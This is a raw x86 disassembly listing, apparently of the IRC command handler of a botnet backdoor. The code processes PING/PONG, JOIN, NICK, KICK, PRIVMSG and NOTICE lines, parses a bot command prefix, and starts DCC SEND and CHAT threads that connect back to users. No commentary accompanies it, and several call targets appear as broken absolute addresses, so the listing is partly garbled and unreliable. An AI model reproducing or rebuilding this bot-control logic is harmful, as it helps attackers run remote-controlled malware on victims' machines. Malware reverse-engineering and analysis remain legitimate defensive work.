var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42CA38 ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42CA34 ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42CA30 ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E0
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08D
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C9C4
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2C
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2C
loc_401E91: ; CODE XREF: sub_401ACD+253Bj
; sub_401ACD+2558j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A61j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A83j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C35j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A72
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42C970
loc_402077: ; CODE XREF: sub_401ACD+28CCj
; sub_401ACD+2C4Cj ...
call sub_415220
loc_40207C: ; CODE XREF: sub_401ACD+1BE1j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C94C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
cmp dword_429088, ebx
jz loc_409854
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42C930
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C8F4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BC
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BC
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42C8F0
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42C8E4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CAE28
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42C8C8
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42C8C0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42C8A8
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7852j
call near ptr 2670897h
nop
push eax
push offset unk_42C86C
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42C828
loc_40240A: ; CODE XREF: sub_401ACD+7E29j
; sub_401ACD+7E90j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33E
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42C800
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset byte_415C59
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BC
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
call near ptr 2670897h
nop
push eax
push offset unk_42C7C8
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C798
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42C764
jmp loc_4083AD
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi
mov edi, offset aK ; "k"
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
push [ebp+arg_8]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985C
cmp [ebp+var_A4], ebx
jnz short loc_4025BD
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409854
loc_4025BD: ; CODE XREF: sub_401ACD+AD4j
cmp [ebp+arg_28], ebx
jnz loc_409854
xor edi, edi
cmp dword_429230, ebx
jle loc_402772
mov [ebp+arg_20], offset dword_43D130
loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402601
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_429230
jl short loc_4025DB
jmp loc_402772
; ---------------------------------------------------------------------------
loc_402601: ; CODE XREF: sub_401ACD+B1Dj
push offset asc_42CA38 ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D148[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402656: ; CODE XREF: sub_401ACD+C3Aj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C2
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C2
lea eax, dword_43D130[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FD
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FD
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEE
add esp, 0Ch
jmp short loc_4026FD
